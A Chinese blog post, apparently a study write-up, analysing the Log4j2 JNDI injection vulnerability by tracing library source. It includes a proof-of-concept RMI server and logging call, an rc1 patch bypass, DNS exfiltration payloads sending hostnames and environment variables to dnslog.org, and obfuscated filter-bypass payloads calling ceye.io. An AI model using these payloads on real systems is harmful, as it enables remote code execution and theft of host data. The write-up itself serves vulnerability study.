log4j2漏洞学习

 Von's Blog     2022-03-28   26169 words    & views

前言

log4j2这个核弹级漏洞也出来有一阵时间了,之前由于还没学习到这块所以没进行学习与复现,现在终于学到了JNDI注入,立马来分析这个知名漏洞。

什么是log4j2

Log4j2 是 Apache 的一个开源项目,通过使用 Log4j2,我们可以控制日志信息输送的目的地是控制台、文件、GUI 组件,甚至是套接口服务器、NT 的事件记录器、UNIX Syslog 守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。

下面以一个简单的例子来使用log4j2:

首先引入相关的包:

<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.14.0</version>
</dependency>

Log4j2分为2个jar包,一个是接口log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar,而Log4j只有一个jar包log4j-${版本号}.jar

image-20240329144312618

假如只是最基本的使用的话,我们采用:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j2 {
    private static final Logger logger = LogManager.getLogger(log4j2.class);
    public static void main(String[] args) {
        logger.error("Error");
    }
}

就能直接在控制台输出相关信息了

image-20240329154109249

单纯这样使用的话不能指定不同级别的日志输出,定义不同的日志格式,将日志分配给不同的日志处理器(如文件、数据库、网络等)

所以绝大多数情况下我们会选择配置一个log4j2.xml的配置文件来定义各种输出配置,举个样例:

<?xml version="1.0" encoding="UTF-8"?>

<configuration status="error">
    <appenders>
        <!--配置Appenders输出源为Console和输出语句SYSTEM_OUT-->
        <Console name="Console" target="SYSTEM_OUT" >
            <!--配置Console的模式布局-->
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/>
        </Console>
    </appenders>
    <loggers>
        <root level="error">
            <appender-ref ref="Console"/>
        </root>
    </loggers>
</configuration>

appenders指定了日志的输出位置(这里是标准输出)和日志信息输出时的格式。而loggers定义了记录器(Logger)的级别和它们应该使用的 Appender,当中的<root level="error">表明了根记录器(Root Logger)的日志级别为 error,这意味着只有 error 及以上级别的日志消息会被捕捉并记录。Log4j2包括的日志等级层级分别为:ALL < DEBUG < INFO < WARN < ERROR < FATAL < OFF。

每个等级的日志都有对应的一个intlevel来进行等级区分,intLevel越小表明日志级别越高

img

log4j2.xml 配置文件应当放置在项目的类路径(classpath)中,这样 Log4j2 才能在初始化时自动加载这个配置文件。通常来说我们会将log4j2.xml放置在src/main/resources中。

漏洞分析

当2.0-beta9 <= log4j2 <= 2.14.1(2.12.2 版本除外)时,log4j2存在一个几乎没有任何利用门槛的JNDI注入漏洞。

首先仿照之前JNDI注入时的老样子,配置一个JNDI服务并设置一个远程恶意类Evil:

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws NamingException, RemoteException {
        Registry registry = LocateRegistry.createRegistry(1098);
        InitialContext initialContext = new InitialContext();
        Reference reference = new Reference("Evil","Evil","http://localhost:8000");
        initialContext.rebind("rmi://localhost:1098/testobj",reference);
    }
}

而POC样例也非常简单:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j2 {
    private static final Logger logger = LogManager.getLogger(log4j2.class);
    public static void main(String[] args) {
        logger.error("${jndi:rmi://localhost:1098/testobj}");
    }
}

就能直接触发恶意类的初始化进而执行漏洞了

image-20240329162731687

可以看到几乎没有任何利用门槛,影响非常大,接下来我们来调试分析下这背后的利用逻辑。

首先发现error方法实际上调用的是

@Override
public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message,
                         final Throwable t) {
  if (isEnabled(level, marker, message, t)) {
    logMessage(fqcn, level, marker, message, t);
  }
}

看得出要首先可以过isEnabled(level, marker, message, t)的判断才可以进行logMessage

boolean filter(final Level level, final Marker marker, final String msg, final Throwable t) {
  final Filter filter = config.getFilter();
  if (filter != null) {
    final Filter.Result r = filter.filter(logger, level, marker, (Object) msg, t);
    if (r != Filter.Result.NEUTRAL) {
      return r == Filter.Result.ACCEPT;
    }
  }
  return level != null && intLevel >= level.intLevel();
}

一路跟下isEnabled方法发现最终调用了Logger类中的filter方法:

boolean filter(final Level level, final Marker marker, final String msg, final Throwable t) {
  final Filter filter = config.getFilter();
  if (filter != null) {
    final Filter.Result r = filter.filter(logger, level, marker, (Object) msg, t);
    if (r != Filter.Result.NEUTRAL) {
      return r == Filter.Result.ACCEPT;
    }
  }
  return level != null && intLevel >= level.intLevel();
}

这里可以看到要求Logger对象的intLevel属性大于我们当前日志的intLevel属性才会返回true.而Logger对象的intLevel属性其实就是之前log4j2.xml文件中配置的level等级的intLevel

所以这里其实是在做我们之前提到的判断,只有当日志等级大于我们log4j2.xml中定义的最低输出等级时才会记录日志并输出。这也是网上很多文章说的只有ERROR级别以上的日志才能执行命令的原因,实际上如果log4j2.xml中定义的最低输出级别更低一点,那么低等级的日志输出一样可以通过这个判断进而继续执行。

接下来一路跟会发现来到了LoggerConfig的log方法:

public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,
                final Level level, final Message data, final Throwable t) {
  List<Property> props = null;
  if (!propertiesRequireLookup) {
    props = properties;
  } else {
    if (properties != null) {
      props = new ArrayList<>(properties.size());
      final LogEvent event = Log4jLogEvent.newBuilder()
        .setMessage(data)
        .setMarker(marker)
        .setLevel(level)
        .setLoggerName(loggerName)
        .setLoggerFqcn(fqcn)
        .setThrown(t)
        .build();
      for (int i = 0; i < properties.size(); i++) {
        final Property prop = properties.get(i);
        final String value = prop.isValueNeedsLookup() // since LOG4J2-1575
          ? config.getStrSubstitutor().replace(event, prop.getValue()) //
          : prop.getValue();
        props.add(Property.createProperty(prop.getName(), value));
      }
    }
  }
  final LogEvent logEvent = logEventFactory instanceof LocationAwareLogEventFactory ?
    ((LocationAwareLogEventFactory) logEventFactory).createEvent(loggerName, marker, fqcn, location, level,
                                                                 data, props, t) : logEventFactory.createEvent(loggerName, marker, fqcn, level, data, props, t);
  try {
    log(logEvent, LoggerConfigPredicate.ALL);
  } finally {
    // LOG4J2-1583 prevent scrambled logs when logging calls are nested (logging in toString())
    ReusableLogEventFactory.release(logEvent);
  }
}

这里主要是将log封装成一个logEvent对象并调用另一个log方法进行重载处理,继续跟下了会发现来到了processLogEvent方法:

private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
    event.setIncludeLocation(isIncludeLocation());
    if (predicate.allow(this)) {
        callAppenders(event);
    }
    logParent(event, predicate);
}

这里一路继续跟,会发现最终调用了AbstractOutputStreamAppender类的directEncodeEvent方法

protected void directEncodeEvent(final LogEvent event) {
    getLayout().encode(event, manager);
    if (this.immediateFlush || event.isEndOfBatch()) {
        manager.flush();
    }
}

directEncodeEvent方法中又调用了encode方法:

public void encode(final LogEvent event, final ByteBufferDestination destination) {
  if (!(eventSerializer instanceof Serializer2)) {
    super.encode(event, destination);
    return;
  }
  final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder());
  final Encoder<StringBuilder> encoder = getStringBuilderEncoder();
  encoder.encode(text, destination);
  trimToMaxSize(text);
}

当中又调用了toText方法:

private StringBuilder toText(final Serializer2 serializer, final LogEvent event,
        final StringBuilder destination) {
    return serializer.toSerializable(event, destination);
}

可以看到又调用了toSerializable方法:

public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
  final int len = formatters.length;
  for (int i = 0; i < len; i++) {
    formatters[i].format(event, buffer);
  }
  if (replace != null) { // creates temporary objects
    String str = buffer.toString();
    str = replace.format(str);
    buffer.setLength(0);
    buffer.append(str);
  }
  return buffer;
}

这里本质上是在调用formatter中不同的PatternFormatter来处理日志,总共有11个不同的PatternFormatter,其实这些不同的PatternFormatter用一个特定的转换模式来指示如何格式化日志消息的特定部分.

public void format(final LogEvent event, final StringBuilder buf) {
    if (skipFormattingInfo) {
        converter.format(event, buf);
    } else {
        formatWithInfo(event, buf);
    }
}

format方法中其实是每个PatternFormatter使用其converter来进行处理的(PatternFormatter只是最外层的封装),漏洞触发点在MessagePatternConverter的format方法中:

public void format(final LogEvent event, final StringBuilder toAppendTo) {
    final Message msg = event.getMessage();
    if (msg instanceof StringBuilderFormattable) {

        final boolean doRender = textRenderer != null;
        final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;

        final int offset = workingBuilder.length();
        if (msg instanceof MultiFormatStringBuilderFormattable) {
            ((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);
        } else {
            ((StringBuilderFormattable) msg).formatTo(workingBuilder);
        }

        // TODO can we optimize this?
        if (config != null && !noLookups) {
            for (int i = offset; i < workingBuilder.length() - 1; i++) {
                if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
                    final String value = workingBuilder.substring(offset, workingBuilder.length());
                    workingBuilder.setLength(offset);
                    workingBuilder.append(config.getStrSubstitutor().replace(event, value));
                }
            }
        }
        if (doRender) {
            textRenderer.render(workingBuilder, toAppendTo);
        }
        return;
    }
    if (msg != null) {
        String result;
        if (msg instanceof MultiformatMessage) {
            result = ((MultiformatMessage) msg).getFormattedMessage(formats);
        } else {
            result = msg.getFormattedMessage();
        }
        if (result != null) {
            toAppendTo.append(config != null && result.contains("${")
                    ? config.getStrSubstitutor().replace(event, result) : result);
        } else {
            toAppendTo.append("null");
        }
    }
}

核心点在于这段:

image-20240330122003424

首先它会判断if (config != null && !noLookups) {,在对MessagePatternConverter的初始化中,config不为null,noLookups为false,这里既然nolookup为false也就意味着默认会进行lookup,这里可能隐隐约约可以感觉到和之前的jndi中的lookup可能有一点关联了。

private MessagePatternConverter(final Configuration config, final String[] options) {
    super("Message", "message");
    this.formats = options;
    this.config = config;
    final int noLookupsIdx = loadNoLookups(options);
    this.noLookups = Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS || noLookupsIdx >= 0;
    this.textRenderer = loadMessageRenderer(noLookupsIdx >= 0 ? ArrayUtils.remove(options, noLookupsIdx) : options);
}

而下面的处理中:

for (int i = offset; i < workingBuilder.length() - 1; i++) {
    if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
        final String value = workingBuilder.substring(offset, workingBuilder.length());
        workingBuilder.setLength(offset);
        workingBuilder.append(config.getStrSubstitutor().replace(event, value));
    }
}

此时workingBuilder为2022-03-29 17:36:27.187 [main] ERROR log4j2.log4j2 - ${jndi:rmi://localhost:1098/testobj}

首先会判断当前字符串中是否存在${,如果有就截取从${开始到结尾的子字符串赋值给value,在我们这个例子中value为${jndi:rmi://localhost:1098/testobj}

然后对设置workingBuilder的长度workingBuilder.setLength(offset),相当于现在workingBuilder只保留了value字符串之前的内容现在workingBuilder为2022-03-29 17:36:27.187 [main] ERROR log4j2.log4j2 -

在第三个语句中又对workingBuilder添加了内容,那这里自然是对value进行了一定的处理形成了新的字符串,可以想见漏洞的触发点正是在后面的这个操作中。调用的是StrSubstitutor的replace方法,StrSubstitutor中定义了一些我们后续会用到的常量:

img

而replace方法的核心是substitute方法:

public String replace(final LogEvent event, final String source) {
  if (source == null) {
    return null;
  }
  final StringBuilder buf = new StringBuilder(source);
  if (!substitute(event, buf, 0, source.length())) {
    return source;
  }
  return buf.toString();
}

substitute方法也是整个调用的核心:

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
                       List<String> priorVariables) {
  final StrMatcher prefixMatcher = getVariablePrefixMatcher();
  final StrMatcher suffixMatcher = getVariableSuffixMatcher();
  final char escape = getEscapeChar();
  final StrMatcher valueDelimiterMatcher = getValueDelimiterMatcher();
  final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables();

  final boolean top = priorVariables == null;
  boolean altered = false;
  int lengthChange = 0;
  char[] chars = getChars(buf);
  int bufEnd = offset + length;
  int pos = offset;
  while (pos < bufEnd) {
    final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
    if (startMatchLen == 0) {
      pos++;
    } else {
      // found variable start marker
      if (pos > offset && chars[pos - 1] == escape) {
        // escaped
        buf.deleteCharAt(pos - 1);
        chars = getChars(buf);
        lengthChange--;
        altered = true;
        bufEnd--;
      } else {
        // find suffix
        final int startPos = pos;
        pos += startMatchLen;
        int endMatchLen = 0;
        int nestedVarCount = 0;
        while (pos < bufEnd) {
          if (substitutionInVariablesEnabled
              && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
            // found a nested variable start
            nestedVarCount++;
            pos += endMatchLen;
            continue;
          }

          endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
          if (endMatchLen == 0) {
            pos++;
          } else {
            // found variable end marker
            if (nestedVarCount == 0) {
              String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
              if (substitutionInVariablesEnabled) {
                final StringBuilder bufName = new StringBuilder(varNameExpr);
                substitute(event, bufName, 0, bufName.length());
                varNameExpr = bufName.toString();
              }
              pos += endMatchLen;
              final int endPos = pos;

              String varName = varNameExpr;
              String varDefaultValue = null;

              if (valueDelimiterMatcher != null) {
                final char [] varNameExprChars = varNameExpr.toCharArray();
                int valueDelimiterMatchLen = 0;
                for (int i = 0; i < varNameExprChars.length; i++) {
                  // if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
                  if (!substitutionInVariablesEnabled
                      && prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
                    break;
                  }
                  if (valueEscapeDelimiterMatcher != null) {
                    int matchLen = valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);
                    if (matchLen != 0) {
                      String varNamePrefix = varNameExpr.substring(0, i) + Interpolator.PREFIX_SEPARATOR;
                      varName = varNamePrefix + varNameExpr.substring(i + matchLen - 1);
                      for (int j = i + matchLen; j < varNameExprChars.length; ++j){
                        if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, j)) != 0) {
                          varName = varNamePrefix + varNameExpr.substring(i + matchLen, j);
                          varDefaultValue = varNameExpr.substring(j + valueDelimiterMatchLen);
                          break;
                        }
                      }
                      break;
                    } else {
                      if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                        varName = varNameExpr.substring(0, i);
                        varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                        break;
                      }
                    }
                  } else {
                    if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                      varName = varNameExpr.substring(0, i);
                      varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                      break;
                    }
                  }
                }
              }

              // on the first call initialize priorVariables
              if (priorVariables == null) {
                priorVariables = new ArrayList<>();
                priorVariables.add(new String(chars, offset, length + lengthChange));
              }

              // handle cyclic substitution
              checkCyclicSubstitution(varName, priorVariables);
              priorVariables.add(varName);

              // resolve the variable
              String varValue = resolveVariable(event, varName, buf, startPos, endPos);
              if (varValue == null) {
                varValue = varDefaultValue;
              }
              if (varValue != null) {
                // recursive replace
                final int varLen = varValue.length();
                buf.replace(startPos, endPos, varValue);
                altered = true;
                int change = substitute(event, buf, startPos, varLen, priorVariables);
                change = change + (varLen - (endPos - startPos));
                pos += change;
                bufEnd += change;
                lengthChange += change;
                chars = getChars(buf); // in case buffer was altered
              }

              // remove variable from the cyclic stack
              priorVariables.remove(priorVariables.size() - 1);
              break;
            }
            nestedVarCount--;
            pos += endMatchLen;
          }
        }
      }
    }
  }
  if (top) {
    return altered ? 1 : 0;
  }
  return lengthChange;
}

这里首先遍历字符串(遍历的当前索引为pos)这里首先会判断字符串里是否存在${的前缀:

image-20240330145736956

public int isMatch(final char[] buffer, int pos, final int bufferStart, final int bufferEnd) {
    final int len = chars.length;
    if (pos + len > bufferEnd) {
        return 0;
    }
    for (int i = 0; i < chars.length; i++, pos++) {
        if (chars[i] != buffer[pos]) {
            return 0;
        }
    }
    return len;
}

找到前缀后递增pos,但是会先判断下${之后的字符串还有没有出现${(通过prefixMatcher.isMatch()),就是判断有没有嵌套调用的情况(nestedVarCount即代表着嵌套调用的层数)

image-20240330145823595

后续遍历至后缀的地方,然后对于嵌套调用的情况:

if (substitutionInVariablesEnabled) {
  final StringBuilder bufName = new StringBuilder(varNameExpr);
  substitute(event, bufName, 0, bufName.length());
  varNameExpr = bufName.toString();
}

会将返回的结果替换回原字符串后,再次调用 substitute 方法进行递归解析。

img

引用su18的解释:

  • :- 是一个赋值关键字,如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb:- 关键字将会被截取掉,而之前的字符串都会被舍弃掉。
  • :\- 是转义的 :-,如果一个用 a:b 表示的键值对的 key a 中包含 :,则需要使用转义来配合处理,例如 ${aaa:\\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc

以上处理完后来到关键的执行代码部分,其中的varName为jndi:rmi://localhost:1098/testobj

String varValue = resolveVariable(event, varName, buf, startPos, endPos);
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
                                 final int startPos, final int endPos) {
  final StrLookup resolver = getVariableResolver();
  if (resolver == null) {
    return null;
  }
  return resolver.lookup(event, variableName);
}

又调用了lookup方法:

public String lookup(final LogEvent event, String var) {
    if (var == null) {
        return null;
    }

    final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
    if (prefixPos >= 0) {
        final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
        final String name = var.substring(prefixPos + 1);
        final StrLookup lookup = strLookupMap.get(prefix);
        if (lookup instanceof ConfigurationAware) {
            ((ConfigurationAware) lookup).setConfiguration(configuration);
        }
        String value = null;
        if (lookup != null) {
            value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
        }

        if (value != null) {
            return value;
        }
        var = var.substring(prefixPos + 1);
    }
    if (defaultLookup != null) {
        return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
    }
    return null;
}

log4j2中默认支持的协议有以下几种,存储在strLookupMap中。

image-20240330164818953

处理和分发的关键逻辑在于其 lookup 方法,通过 : 作为分隔符来分隔 Lookup 关键字及参数(这里注意下而log4j2在解析的时候如果匹配不到对应的主键那么就只会返回对应的值,这也被许多绕过方法所利用),从strLookupMap 中根据关键字作为 key 匹配到对应的处理类,并调用其 lookup 方法。漏洞的触发方式是使用 jndi: 关键字来触发 JNDI 注入漏洞,对于 jndi: 关键字的处理类为 org.apache.logging.log4j.core.lookup.JndiLookup 。看一下最关键的 lookup 方法,可以看到是使用了 JndiManager 来支持 JNDI 的

image-20240330165621575

JndiManager 的lookup方法:

public <T> T lookup(final String name) throws NamingException {
    return (T) this.context.lookup(name);
}

而其context属性实际上来自于一个新建的上下文对象:

private JndiManager(final String name, final Context context) {
    super(null, name);
    this.context = context;
}

public JndiManager createManager(final String name, final Properties data) {
try {
return new JndiManager(name, new InitialContext(data));
} catch (final NamingException e) {
LOGGER.error("Error creating JNDI InitialContext.", e);
return null;
}
}

至此完成了标准的一次JNDI注入。

RC1绕过

在漏洞遭到披露后,Log4j2 官方发布了 log4j-2.15.0-rc1 安全更新包,但经过研究后在一定条件下可以被绕过。

在JndiManager的lookup方法中修改了发起JNDI请求的机制,总之就是加了很多白名单,比方说设置了协议白名单、只允许向本地IP发起请求、设置了类名白名单等。

public synchronized <T> T lookup(final String name) throws NamingException {
    try {
        URI uri = new URI(name);
        if (uri.getScheme() != null) {
            // 允许的协议白名单
            if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
                return null;
            }
            if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                // 允许的host白名单
                if (!allowedHosts.contains(uri.getHost())) {
                    LOGGER.warn("Attempt to access ldap server not in allowed list");
                    return null;
                }
                Attributes attributes = this.context.getAttributes(name);
                if (attributes != null) {
                    Map<String, Attribute> attributeMap = new HashMap<>();
                    NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
                    while (enumeration.hasMore()) {
                        Attribute attribute = enumeration.next();
                        attributeMap.put(attribute.getID(), attribute);
                    }
                    Attribute classNameAttr = attributeMap.get(CLASS_NAME);
                    // 参考下图我们这种Payload不存在javaSerializedData头
                    // 所以不会进入类白名单判断
                    if (attributeMap.get(SERIALIZED_DATA) != null) {
                        if (classNameAttr != null) {
                            // 类名白名单
                            String className = classNameAttr.get().toString();
                            if (!allowedClasses.contains(className)) {
                                LOGGER.warn("Deserialization of {} is not allowed", className);
                                return null;
                            }
                        } else {
                            LOGGER.warn("No class name provided for {}", name);
                            return null;
                        }
                    } else if (attributeMap.get(REFERENCE_ADDRESS) != null
                               || attributeMap.get(OBJECT_FACTORY) != null) {
                        // 不允许REFERENCE这种加载对象的方式
                        LOGGER.warn("Referenceable class is not allowed for {}", name);
                        return null;
                    }
                }
            }
        }
    } catch (URISyntaxException ex) {
        // This is OK.
    }
    return (T) this.context.lookup(name);
}

但是离谱的是捕捉到URISyntaxException后居然设置成不做任何处理,程序继续往下执行了。这样的话我们只要让第一个语句new URI(name)抛出一个URISyntaxException就行了,最常用的就是加个空格:

${jndi:ldap://xxx.xxx.com /obj}

但是实际上这个利用还是有点鸡肋,因为除了修改了lookup的执行逻辑外,在rc1中默认不对日志进行lookup解析,假如想要启用的话,只能在log4j2.xml中修改%msg为%msg{lookups}:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="[%-level]%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

而在RC2版本中,log4j2在异常处理那里直接返回null,堵上了利用的漏洞。

信息泄露

Jndi支持Dns协议,可以利用其将我们想要的信息进行外带

${jndi:dns://${hostName}.xxx.dnslog.org}
${jndi:dns://${env:COMPUTERNAME}.xxx.dnslog.org}
${jndi:dns://${env:USERDOMAIN}.xxx.dnslog.org}

也很好理解,其实就是嵌套解析导致的问题,其他的一些可以利用的方式:

${java:version}     getSystemProperty("java.version")
${java:runtime}     getRuntime()
${java:vm}     getVirtualMachine()
${java:os}     getOperatingSystem()
${java:hw}     getHardware()
${java:locale}     getLocale()
${sys:os.name}
${sys:os.arch}
${sys:java.version}
${env:A8_HOME}
${env:A8_ROOT_BIN}
${env:ALLUSERSPROFILE}
${env:APPDATA}
${env:CATALINA_BASE}
${env:CATALINA_HOME}
${env:CATALINA_OPTS}
${env:CATALINA_TMPDIR}
${env:CLASSPATH}
${env:CLIENTNAME}
${env:COMPUTERNAME}
${env:ComSpec}
${env:CommonProgramFiles}
${env:CommonProgramFiles(x86)}
${env:CommonProgramW6432}
${env:FP_NO_HOST_CHECK}
${env:HOMEDRIVE}
${env:HOMEPATH}
${env:JRE_HOME}
${env:Java_Home}
${env:LOCALAPPDATA}
${env:LOGONSERVER}
${env:NUMBER_OF_PROCESSORS}
${env:OS}
${env:PATHEXT}
${env:PROCESSOR_ARCHITECTURE}
${env:PROCESSOR_IDENTIFIER}
${env:PROCESSOR_LEVEL}
${env:PROCESSOR_REVISION}
${env:PROMPT}
${env:PSModulePath}
${env:PUBLIC}
${env:Path}
${env:ProgramData}
${env:ProgramFiles}
${env:ProgramFiles(x86)}
${env:ProgramW6432}
${env:SESSIONNAME}
${env:SystemDrive}
${env:SystemRoot}
${env:TEMP}
${env:TMP}
${env:ThisExitCode}
${env:USERDOMAIN}
${env:USERNAME}
${env:USERPROFILE}
${env:WORK_PATH}
${env:windir}
${env:windows_tracing_flags}
${env:windows_tracing_logfile}

一些绕过

由于log4j2支持嵌套解析,所以也就据此有了相当多的绕过Payload,本质上都是在绕过一些不完善的正则式批评:

${jndi:ldap://127.0.0.1:1389/a}
${${:::::-j}${what:-n}${ls:-d}${1QAZ2wxs:-i}://ceye.io/a}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a}
${${::-j}ndi:rmi://ceye.io/a}

此外,由于Java中也有类似于Python里面的upper和lower的解析问题,比如 ı(\u0131) 经过 toUpperCase 转为 I(\u0069)。

img

结合${upper:}也可构造出一些POC,这里不再赘述。

总结

感觉这个漏洞只是利用起来简单,但若是在毫无其他背景知识也不知道此处可能存在漏洞利用点的情况下还是很难这么样一步一步走到这的。据传该漏洞是使用CodeQL挖掘出来的,想必在未来使用静态分析工具协助寻找漏洞也是未来的主流和重点了。

参考文章

浅谈 Log4j2 漏洞

从 0 到 1 带你深入理解 log4j2 漏洞

Log4j2系列漏洞分析

log4j2